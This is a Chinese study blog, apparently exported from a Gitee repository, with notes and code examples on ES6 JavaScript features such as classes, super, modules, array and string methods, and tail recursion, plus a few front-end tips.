在类的内部使用 get 和 set 关键字,对某个属性设置存值函数和取值函数,拦截该属性的存取行为 12inst.prop = 123; // setter:123console.log(inst.prop); // getter for…of 循环自动调用遍历器 12345678910111213141516171819202122232425262728293031323334class Foo &#123; constructor(...args) &#123; this.args = args; console.log("new.target:", new.target === Foo); &#125; *[Symbol.iterator]() &#123; for(let arg of this.args) &#123; yield arg; &#125; &#125; static sayHi() &#123; return this.returnHi(); &#125; static returnHi() &#123; return "hi"; &#125; returnHi() &#123; return "hello"; &#125;&#125;class Bar extends Foo &#123; static childSayHi() &#123; return super.sayHi() + " child"; &#125;&#125;for(let x of new Foo("hello", "world")) &#123; console.log(x); // hello world&#125; 所有类中定义的方法,都会被实例继承,如果在一个方法前,加上 static 关键字,就表示该方法不会被实例继承,而是直接通过类来调用,成为“静态方法”。 静态方法中的 this 指向 Foo 类,而不是实例。静态方法可以与非静态方法重名 12console.log(Foo.sayHi()); // hiconsole.log(new Foo().sayHi()); //Uncaught TypeError: (intermediate value).sayHi is not a function 父类的静态方法可以被子类继承 1console.log(Bar.sayHi()); // hi 静态方法可以从 super 对象上调用 1console.log(Bar.childSayHi()); // hi child 子类继承父类时,new.target 会返回子类 1console.log(new Bar()); // false ES6 之 Class 的继承子类必须在 constructor 方法中调用 super 方法,否则新建实例时会报错,如果子类没有定义 constructor 方法,这个方法会被默认添加。在子类构造函数中,只有调用 super 之后,才可以使用 this 关键字,否则报错。 123456789101112class ColorPaint extends Point &#123; constructor(x, y, color) &#123; // this.color = color; super(x, y) this.color = color &#125;&#125;let cp = new ColorPaint(25, 8, 'red')console.log(cp instanceof Point) // trueconsole.log(cp instanceof ColorPaint) // trueconsole.log(Reflect.getPrototypeOf(ColorPaint) === Point) // true super 虽然代表了父类 A 的构造函数,但是返回的是子类 B 的实例,即 super 内部 this 指的是 B。 1234567891011121314class A &#123; constructor() &#123; console.log(new.target.name) &#125;&#125;class B extends A &#123; constructor() &#123; super() &#125;&#125;new A() // Anew B() // B super 作为对象时,在普通方法中,指向父类的原型对象;在静态方法中指向父类。 1234567891011121314class A &#123; p() &#123; return 2 &#125;&#125;class B extends A &#123; constructor() &#123; super() console.log(super.p()) &#125;&#125;let b = new B() ES6 规定,通过调用父类方法时,方法内部的 this 指向子类。 12345678910111213141516171819202122class A &#123; constructor() &#123; this.x = 1 &#125; print() &#123; console.log(this.x) &#125;&#125;class B extends A &#123; constructor() &#123; super() this.x = 2 &#125; m() &#123; // 实际上执行的是super.print.call(this) super.print() &#125;&#125;let b = new B()b.m() // 2 如果 super 作为对象,用在静态方法中,这时 super 将指向父类,而不是父类原型对象。 1234567891011121314151617181920212223242526class Parent &#123; static myMethod(msg) &#123; console.log('static ', msg) &#125; myMethod(msg) &#123; console.log('instance ', msg) &#125;&#125;class Child extends Parent &#123; static myMethod(msg) &#123; super.myMethod(msg) &#125; myMethod(msg) &#123; super.myMethod(msg) &#125;&#125;// 调用静态方法Child.myMethod(1) // static 1// 调用原型方法var c = new Child() // instance 2c.myMethod(2) 123456class A &#123;&#125;class B extends A &#123;&#125;console.log(B.__proto__ === A) // trueconsole.log(B.prototype.__proto__ === A.prototype) // true A 作为一个基类,就是一个普通函数,所以直接继承 Funtion.prototype,A 调用后返回一个空对象,所以,A.prototype.proto指向构造函数的 prototype 属性。 1234class A &#123;&#125;console.log(A.__proto__ === Function.prototype) // trueconsole.log(A.prototype.__proto__ === Object.prototype) // true 原生构造函数可以被继承 12345678910111213141516171819202122232425class VersionedArray extends Array &#123; constructor() &#123; super() this.history = [[]] &#125; commit() &#123; this.history.push(this.slice()) &#125; revert() &#123; this.splice(0, this.length, ...this.history[this.history.length - 1]) &#125;&#125;let x = new VersionedArray()x.push(1)x.push(2)console.log(x)console.log(x.history)x.commit()console.log(x.history)x.push(3)console.log(x.history) ES6 之 Moduleexport 通常情况下,export 输出的变量就是本来的名字,但是也可以使用 as 关键字重命名。 1234function v1() &#123;&#125;function v2() &#123;&#125;export &#123; v1 as streamV1, v2 as streamV2 &#125; export 命令规定是对外接口,必须与模块内部变量建立一一对应关系。 1234567891011121314151617// 变量写法一export var m = 1// 变量写法二var m = 1export &#123; m &#125;// 变量写法三var n = 1export &#123; n as m &#125;// 函数写法一export function f() &#123;&#125;// 函数写法二function f() &#123;&#125;export &#123; f &#125; export 语句输出的接口,与其对应的值是动态绑定关系 12export var foo = 'bar'setTimeout(() =&gt; (foo = 'baz'), 500) importimport 命令具有提升效果,会提升到整个模块的头部,首先执行。 123foo()import &#123; foo &#125; from 'my_module' 目前阶段,通过 Babel 转码,CommonJS 模块的 require 命令和 ES6 模块的 import 命令,可以写在同一个模块里面,但是最好不要这样做。因为 import 在静态解析阶段执行,所以它是一个模块之中最早执行的。 注意,模块整体加载所在的那个对象(上例是 circle),应该是可以静态分析的,所以不允许运行时改变。下面的写法都是不允许的。 12345import * as circle from './circle'// 下面两行都是不允许的circle.foo = 'hello'circle.area = function () &#123;&#125; export default 命令为模块指定默认输出。其他模块加载该模块时,import 命令可以为该匿名函数指定任意名字。 第一组是使用 export default 时,对应的 import 语句不需要使用大括号;第二组是不使用 export default 时,对应的 import 语句需要使用大括号。 123456789101112131415// 第一组export default function crc32() &#123; // 输出 // ...&#125;import crc32 from 'crc32' // 输入// 第二组export function crc32() &#123; // 输出 // ...&#125;import &#123; crc32 &#125; from 'crc32' // 输入 —— 2017/12/28 ES6 之 Module 加载ES6 模块与 CommonJS 模块之间的差异: CommonJS 模块输出的是一个值的拷贝,ES6 模块输出的是值的引用。 CommonJS 模块是运行时加载,ES6 模块是编译时输出接口。 ES6 之编程风格 在 let 和 const 之间,建议优先使用 const,尤其是在全局环境,不应该设置变量,只应设置常量。 所有的函数都应该设置为常量。 静态字符串一律使用单引号或反引号,不使用双引号。动态字符串使用反引号。 箭头函数取代 Function.prototype.bind,不应再用 self/_this/that 绑定 this。 注意区分 Object 和 Map,只有模拟现实世界的实体对象时,才使用 Object。如果只是需要 key: value 的数据结构,使用 Map 结构。因为 Map 有内建的遍历机制。 如果模块只有一个输出值,就使用 export default,如果模块有多个输出值,就不使用 export default,export default 与普通的 export 不要同时使用。 —— 2017/12/28 ES6 之数组复制数组 12345const a1 = [1, 2]// const a2 = [...a1];const [...a2] = a1a2[0] = 2console.log('a1:', a1) // [1, 2] 拓展运算符值会部署了 iterator 接口的对象转化为数组,包括字符串、Set、Map、generator 函数、数组、NodeList 等 类似数组的对象(array-like object)和可遍历(iterable)的对象可用 Array.from 方法转化 123456let arrayLike = &#123; 0: 'a', 1: 'b', length: 1&#125;console.log(Array.from(arrayLike)) // ["a"] Array.from 还可以接受第二个参数,作用类似于数组的 map 方法,用来对每个元素进行处理,将处理后的值放入返回的数组。 1console.log(Array.from(arrayLike, (x) =&gt; x.repeat(2))) Array.of 方法用于将一组值,转化为数组 12console.log(Array.of(3, 10, 9))console.log(Array.of()) 将指定位置的成员复制到其他位置 1console.log([1, 2, 3, 4, 5].copyWithin(0, 3, 4)) // [4, 2, 3, 4, 5] find 找出第一个符合条件数组成员,findIndex 找出第一个符合条件数组成员索引 12let f = [1, 3, 5, 7].find((n) =&gt; n &gt; 3)console.log(f) fill 填充数组 1console.log(new Array(3).fill(6)) fill 方法还可以接受第二个和第三个参数,用于指定填充的起始位置和结束位置。 1console.log([1, 2, 3, 4].fill('a', 1, 4)) // [1, "a", "a", "a"] include 表示某个数组是否包含给定的值第二个参数表示搜索的起始位置 12console.log([1, 2, 3, NaN].includes(NaN)) //trueconsole.log([1, 2, 3, 4, 5].includes(3, 1)) // true 数组空位相关 1234567891011121314151617181920212223242526272829// 数组空位是没有任何值的console.log(0 in [undefined, undefined, undefined]) // trueconsole.log(0 in [, ,]) // falselet arr = [, 'a']// forEach(), filter(), reduce(), every() 和some()都会跳过空位arr.forEach((item, index) =&gt; &#123; console.log(index) // 1&#125;)// join()和toString()会将空位视为undefined,而undefined和null会被处理成空字符串。console.log([undefined, , 'a'].join(''))// for...of可以遍历到空位for (let i of arr) &#123; console.log(i) // a undefined&#125;// 拓展运算符将空位转为undefinedconsole.log([...[2, , 3]]) // [2, undefined, 3]// Array.from将数组空位转化为undefinedconsole.log(Array.from([4, , 5])) // [4, undefined, 5]// fill()会将空位视为正常数组位置console.log(new Array(3).fill('a')) // ["a", "a", "a"]// entries() 、keys() 、values() 、find()和findIndex()会将空位处理成undefined。 ES6 之 StringcodePointAt 方法在第一个字符上,正确地识别了“𠮷”,返回了它的十进制码点 134071(即十六进制的 20BB7)。在第二个字符(即“𠮷”的后两个字节)和第三个字符“a”上,codePointAt 方法的结果与 charCodeAt 方法相同。 12345678910111213141516let s = '𠮷'console.log(s.charCodeAt(0)) // 55362console.log(s.charCodeAt(1)) // 57271console.log(s.codePointAt(0)) // 134071console.log(s.codePointAt(1)) // 57271console.log(s.codePointAt(0).toString(16)) // 134071console.log(s.codePointAt(1).toString(16)) // 57271let text = String.fromCodePoint(0x20bb7, 0xdfb7)// for...of能正确遍历出utf-16字符for (let t of text) &#123; console.log(t)&#125; endsWith 的行为与其他两个方法有所不同,它针对前 n 个字符,而其他两个方法针对从第 n 个位置直到字符串结束。 1234let str = 'Hello world'console.log(str.startsWith('llo', 2)) // trueconsole.log(str.endsWith('d', 11)) // trueconsole.log(str.includes('wo', 1)) // true repeat() 123456// 小数会被取整console.log('x'.repeat(3.6)) // "xxx"// 0 - -1 被视为0console.log('y'.repeat(-0.1)) // ""// 非数字,转化成数字console.log('z'.repeat('z')) // "" padStart() padEnd() 123456789101112// 头部补全console.log('x'.padStart(5, 'ab')) // "ababx"// 尾部补全console.log('x'.padEnd(5, 'ab')) // "xabab"// 原字符串长度,等于或大于指定最小长度,则返回原字符串console.log('xxx'.padStart(3, 'ab')) // "xxx"// 用来补全的字符串与原字符串,两者的长度之和超过了指定的最小长度,则会截去超出位数的补全字符串console.log('xxx'.padStart(5, 'abcdef')) // "abxxx"// 省略第二个参数,默认使用空格补全长度console.log('xxx'.padStart(5)) // " xxx"console.log('12'.padStart(10, 'YYYY-MM-DD')) // "YYYY-MM-12" 模板字符串里可以嵌套 12345678910111213141516171819202122232425let $body = document.querySelector('body')const data = [ &#123; first: 'wu', last: 'wenhua' &#125;, &#123; first: 'xiao', last: 'hua' &#125;]const temp = (d) =&gt; ` &lt;table&gt; $&#123;d .map((item) =&gt; &#123; return ` &lt;tr&gt; &lt;td&gt;$&#123;item.first&#125;&lt;/td&gt; &lt;td&gt;$&#123;item.last&#125;&lt;/td&gt; &lt;/tr&gt; ` &#125;) .join('')&#125; &lt;/table&gt;`console.log(temp(data))$body.innerHTML = temp(data) 执行一段字符串 1234let str = `return ` + '`Hello $&#123;name&#125;`'let func = new Function('name', str)console.log(func)console.log(func('wuwh')) 标签模板 123456789101112131415161718function passthru(literals, ...values) &#123; let output = '' let index for (index = 0; index &lt; values.length; index++) &#123; output += literals[index] + values[index] &#125; output += literals[index] return output&#125;let name = 'wen'let age = 22let str = passthru`My name is $&#123;name&#125;, I am $&#123;age&#125; old` // tag函数调用console.log(str) tag 函数的第一个参数 strings,有一个 raw 属性,也指向一个数组 12345678tag`abc\nefg`function tag(str) &#123; console.log(str.raw[0]) // abc\nefg&#125;// 充当模板字符串的处理函数,返回一个斜杠都被转义的字符串console.log(String.raw`abc\nefg`) —— 2018/1/3 ES6 之 Object把表达式放到方括号里,作为对象的属性名 123456let propKey = 'foo'let obj = &#123; [propKey]: true, ['a' + 'b']: 'ab'&#125;console.log(obj.ab) // "ab" 把表达式放到方括号里,作为对象下的方法名 123456let obj = &#123; ['h' + 'ello']() &#123; return 'hi' &#125;&#125;console.log(obj.hello()) // "hi" 属性名表达式如果是一个对象,默认情况下会自动转化为字符串[object Object] 12345const propKey = &#123; a: 1 &#125;const obj = &#123; [propKey]: 1&#125;console.log(obj) getter 和 setter 函数 name 属性在该方法的属性描述对象的 get 和 set 属性上面 12345678const obj = &#123; get foo() &#123;&#125;, set foo(x) &#123;&#125;&#125;const descriptor = Object.getOwnPropertyDescriptor(obj, 'foo')console.log(descriptor.get.name) // "foo"console.log(descriptor.set.name) // "foo" Function 构造函数创造的函数,name 属性返回 anonymous 1console.log(new Function().name) // anonymous bind 方法创造的函数,name 属性返回 bound 加上原函数的名字 12let doSomething = function () &#123;&#125;console.log(doSomething.bind().name) // bound doSomething Object.is() 同值相等 不同于运算符(===),一是+0 不等于-0,二是 NaN 等于自身 12console.log(Object.is(+0, -0)) // falseconsole.log(Object.is(NaN, NaN)) // true assign 12345678910111213141516171819202122232425262728let a = Object.assign(2)console.log(typeof a)// 由于undefined和null无法转成对象,所以如果它们作为参数,就会报错// Object.assign(undefined);// 非首参,undefined和null无法转成对象就会跳过let b = Object.assign(a, undefined)console.log(a === b) //true// 其他类型的值(数值、字符串和布尔值)不会产生效果let c = Object.assign(a, 2, true, undefined)console.log(c)console.log(a === c) // true// Object.assign拷贝的属性是有限制的,只拷贝源对象的自身属性(不拷贝继承属性),// 也不拷贝不可枚举的属性(enumerable: false)// source对象的foo属性是一个取值函数,Object.assign不会复制这个取值函数,// 只会拿到值以后,将这个值复制过去const source = &#123; get foo() &#123; return 1 &#125;&#125;const target = &#123;&#125;console.log(Object.assign(target, source)) // &#123;foo: 1&#125; ES6 规定,所有 class 的原型方法都是不可枚举的 1234567let cd = Object.getOwnPropertyDescriptor( class &#123; foo() &#123;&#125; &#125;.prototype, 'foo').enumerableconsole.log(cd) // false Reflect.ownKeys 遍历对象属性类型顺序 数字 -&gt; 字符串 -&gt; Symbol 1console.log(Reflect.ownKeys(&#123; [Symbol()]: 0, a: 1, 0: 2 &#125;)) // ["0", "a", Symbol()] ES2017 引入了 Object.getOwnPropertyDescriptors 方法,返回指定对象所有自身属性(非继承属性)的描述对象 123456789const obj = &#123; foo: 123, [Symbol('aaa')]: 'aaa', get bar() &#123; return 'abc' &#125;&#125;console.log(Object.getOwnPropertyDescriptors(obj)) getOwnPropertyDescriptors 可应用于将两个对象合并,包括 set 和 get 123456789101112const shallowMerge = (target, source) =&gt; Object.defineProperties(target, Object.getOwnPropertyDescriptors(source))console.log( shallowMerge( &#123;&#125;, &#123; set foo(val) &#123; console.log(val) &#125; &#125; )) 对象上部署proto属性,一下三种方法都能达到效果 1234567891011121314151617181920let prot = &#123;&#125;const obj1 = &#123; __proto__: prot, foo: 123&#125;const obj2 = Object.assign(Object.create(prot), &#123; foo: 123&#125;)const obj3 = Object.create( prot, Object.getOwnPropertyDescriptors(&#123; foo: 123 &#125;))console.log('obj1:', obj1)console.log('obj2:', obj2)console.log('obj3:', obj3) super 关键字表示原型对象时,只能用在对象的方法之中,用在其他地方都会报错,super 等价于 Object.getPrototypeOf(this) 123456789101112131415const obj = &#123; a: 2, getShow() &#123; return super.show() &#125;&#125;Object.setPrototypeOf(obj, &#123; a: 1, show() &#123; return this.a &#125;&#125;)console.log(obj.getShow()) // 2 拓展运算符的解构赋值,不能复制继承自原型对象的属性 12345678910111213141516let a = &#123; a: 1 &#125;;let b = &#123; b: 2 &#125;;a.__proto__ = b;let &#123; ...c &#125; = a;console.log(c); // &#123;a: 1&#125;console.log(c.b); // undefined// 变量y和z是扩展运算符的解构赋值,只能读取对象o自身的属性const o = Object.create(&#123; x: 1, y: 2 &#125;);o.z = 3;let &#123; x, ...&#123; y, z &#125; &#125; = o;console.log(x); // 1console.log(y); // undefinedconsole.log(z); // 3 —— 2018/1/4 12345678910&#123; // 有默认值的参数不是尾参数,无法只省略该参数 function f(x = 1, y) &#123; return [x, y] &#125; // f(, 2); // 报错 // 传入undefined,将触发默认值 console.log(f(undefined, null)) // [1, null]&#125; 123456// 指定默认值后,函数的length属性将失真console.log(function (a, b, c = 5) &#123;&#125;.length) // 2console.log(function (...rest) &#123;&#125;.length) // 0// 设置了默认值的参数不是尾参数,那么length属性也不再计入后面的参数了console.log(function (a = 5, b, c) &#123;&#125;.length) // 0 —— 2018/1/5 ES6 之 function箭头函数不能当作构造函数,原因在于箭头函数内部没有 this,而是引用外层的 this 12345let Fn = () =&gt; &#123; this.age = '20'&#125;let fn = new Fn() // Uncaught TypeError: Fn is not a constructor 箭头函数不能用作 Generator 函数 12345let g = function* () =&gt; &#123; yield 1;&#125;;console.log( g().next() ); // Uncaught SyntaxError: Unexpected token =&gt; 箭头函数没有自己的 this,所以 bind 方法无效,内部的 this 指向外部的 this 12345let res = function () &#123; return [(() =&gt; this.x).bind(&#123; x: 'inner' &#125;)()]&#125;.call(&#123; x: 'outer' &#125;)console.log('res:', res) // ["outer"] “尾调用优化”意义:函数执行到最后一步,不保留外层函数的调用帧,只会保存内部函数调用帧,这样节省了内存。注意,只有不再用到外层函数内部变量,内层函数的调用帧才会取代外层函数的调用帧,否则无法进行“尾调用优化”。 1234567function addOne(a) &#123; var one = 1 function inner(b) &#123; return b + one // 含有外层变量one &#125; return inner(a)&#125; 尾递归的实现,往往需要改写递归函数,确保最后一步只调用自身,做到这一点的方法,就是把所有用到的内部变量改写成函数的参数。 1234567891011// 普通方法递归function Fibonacci(n) &#123; if (n &lt;= 1) &#123; return 1 &#125; return Fibonacci(n - 1) + Fibonacci(n - 2)&#125;console.log('Fibonacci 100:', Fibonacci(10)) // 89console.log('Fibonacci 100:', Fibonacci(100)) // 堆栈溢出 1234567891011// 尾递归function tailFibonacci(n, ac1 = 1, ac2 = 1) &#123; if (n &lt;= 1) &#123; return ac2 &#125; return tailFibonacci(n - 1, ac2, ac1 + ac2)&#125;console.log('tailFibonacci 10:', tailFibonacci(10)) // 89console.log('tailFibonacci 100:', tailFibonacci(100)) // 573147844013817200000 ES6 之 class 继承(续)继承 Object 子类,有一个行为差异,ES6 改变了 Object 构造函数的行为,发现不是通过 new Object()形式调用,Object 构造函数忽略参数 12345678class NewObj extends Object &#123; constructor() &#123; super(...arguments); &#125;&#125;let o = new NewObj(&#123;attr: true&#125;);console.log(o.attr === true); //false 将多个类的接口“混入”另一个类 12345678910111213141516171819202122232425262728293031323334353637383940414243function mix(...mixins) &#123; class Mix &#123;&#125; for (let mixin of mixins) &#123; copyProperties(Mix, mixin) // 拷贝实例属性 copyProperties(Mix.prototype, mixin.prototype) // 拷贝原型属性 &#125; return Mix&#125;function copyProperties(target, source) &#123; for (let key of Reflect.ownKeys(source)) &#123; if (key !== 'constructor' &amp;&amp; key !== 'prototype' &amp;&amp; key !== 'name') &#123; let desc = Object.getOwnPropertyDescriptor(source, key) Object.defineProperty(target, key, desc) &#125; &#125;&#125;class School &#123; constructor() &#123; this.name = 'qing' &#125; getAddress() &#123; return 'beijing' &#125;&#125;class Student &#123; constructor() &#123; this.name = 'wang xiao' &#125; getAddress() &#123; return 'shenzhen' &#125;&#125;class Ins extends mix(School, Student) &#123;&#125;let ins = new Ins()console.log(ins.getAddress()) —— 2018/1/8 关于从页面外部加载 js 文件 带有 src 属性&lt;script&gt; 标签之间还包含 JavaScript 代码,则只会下载并执行外部脚本文件,嵌入的代码会被忽略; 不存在 defer 和 async 属性,浏览器就会按照&lt;script&gt;在页面中出现的先后顺序对它们依次进行解析; &lt;script&gt;有 defer 属性,浏览器会立刻下载,但延时执行(延时到&lt;/html&gt;后执行),HTML5 规定按照文件出现的先后顺序执行,先于 DOMContentLoaded 事件执行; &lt;script&gt;有 async 属性,浏览器立刻下载,不保证按照先后顺序执行,一定在 load 事件前执行,但不一定在 DOMContentLoaded 之前执行; 重绘 repaint 与重排 reflow重绘:当改变那些不会影响元素在网页中的位置样式时,如 background-color,border,visibility,浏览器只会用新的样式将元素重绘一次。重排:当改变影响到文本内容或结构,或者元素位置时,重排就会发生。 —— 2018/1/19 输入框弹起数字键盘1&lt;input type="tel" novalidate="novalidate" pattern="[0-9]*" id="q2" value="" name="q2" verify="学号" /&gt; type=&quot;tel&quot; 优点是 iOS 和 Android 的键盘表现都差不多 缺点是那些字母好多余,虽然我没有强迫症但还是感觉怪怪的啊。 type=&quot;number&quot; 优点是 Android 下实现的一个真正的数字键盘 缺点一:iOS 下不是九宫格键盘,输入不方便 缺点二:旧版 Android(包括微信所用的 X5 内核)在输入框后面会有超级鸡肋的小尾巴,好在 Android 4.4.4 以后给去掉了。 不过对于缺点二,我们可以用 webkit 私有的伪元素给 fix 掉: 123456input[type='number']::-webkit-inner-spin-button,input[type='number']::-webkit-outer-spin-button &#123; -webkit-appearance: none; appearance: none; margin: 0;&#125; pattern pattern 用于验证表单输入的内容,通常 HTML5 的 type 属性,比如 email、tel、number、data 类、url 等,已经自带了简单的数据格式验证功能了,加上 pattern 后,前端部分的验证更加简单高效了。 novalidate novalidate 属性规定当提交表单时不对其进行验证 获取对象属性的一些方法 Object.getOwnPropertyNames 获取对象本身属性名,包括不可枚举(enumerable: false;)属性,不包括 Symbol 属性; Object.getOwnPropertySymbols 获取对象本身的 Symbol 属性名; Object.keys 获取对象本身属性名,不包括不可枚举属性和 Symbol 属性; Reflect.ownKeys 获取对象本身所有属性,等于 Object.getOwnPropertyNames + Object.getOwnPropertySymbols; key in obj 获取对象本身属性和原型属性,不包括不可枚举属性和 Symbol 属性; 12345678910111213141516171819202122232425262728293031323334const obj = &#123; a: 1, b: '2', [Symbol.for('foo')]: 'foo', [Symbol.for('bar')]: 'bar'&#125;const target = Object.create(obj)target.c = truetarget[Symbol.for('zoo')] = 'zoo'Object.defineProperty(target, 'f', &#123; writable: false, enumerable: false, configurable: true, value: 'f'&#125;)const handler = &#123; ownKeys(target) &#123; return Reflect.ownKeys(target) &#125;&#125;const proxy = new Proxy(target, handler)console.log('Object.getOwnPropertyNames: ', Object.getOwnPropertyNames(proxy)) // ['c', 'f']console.log('Object.getOwnPropertySymbols: ', Object.getOwnPropertySymbols(proxy)) // [Symbol(zoo)]console.log('Object.keys: ', Object.keys(proxy)) // ['c']console.log('Reflect.ownKeys: ', Reflect.ownKeys(proxy)) // ['c', 'f', Symbol(zoo)]for (let key in proxy) &#123; console.log('key: ', key) // 'c' 'a' 'b'&#125; 判断是否是数组12345678910111213141516171819var arr = []// ES6console.log(Array.isArray(arr))// instanceofconsole.log(arr instanceof Array)// constructorconsole.log(arr.__proto__.constructor === Array)// getPrototypeOfconsole.log(Object.getPrototypeOf(arr).constructor === Array)// isPrototypeOfconsole.log(Array.prototype.isPrototypeOf(arr))// Object.prototype.toStringconsole.log(Object.prototype.toString.apply(arr).slice(8, -1) === 'Array') Object.definedProperty 拦截XMLHttpRequest请求,解决跨域问题离线和在线资源过期拦截cookie 同步cookie发生变化]]></content>
<categories>
<category>javascript</category>
</categories>
<tags>
<tag>javascript</tag>
</tags>
</entry>
</search>
马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
1
https://gitee.com/javier_house/webBlog.git
git@gitee.com:javier_house/webBlog.git
javier_house
webBlog
webBlog
master

搜索帮助

344bd9b3 5694891 D2dac590 5694891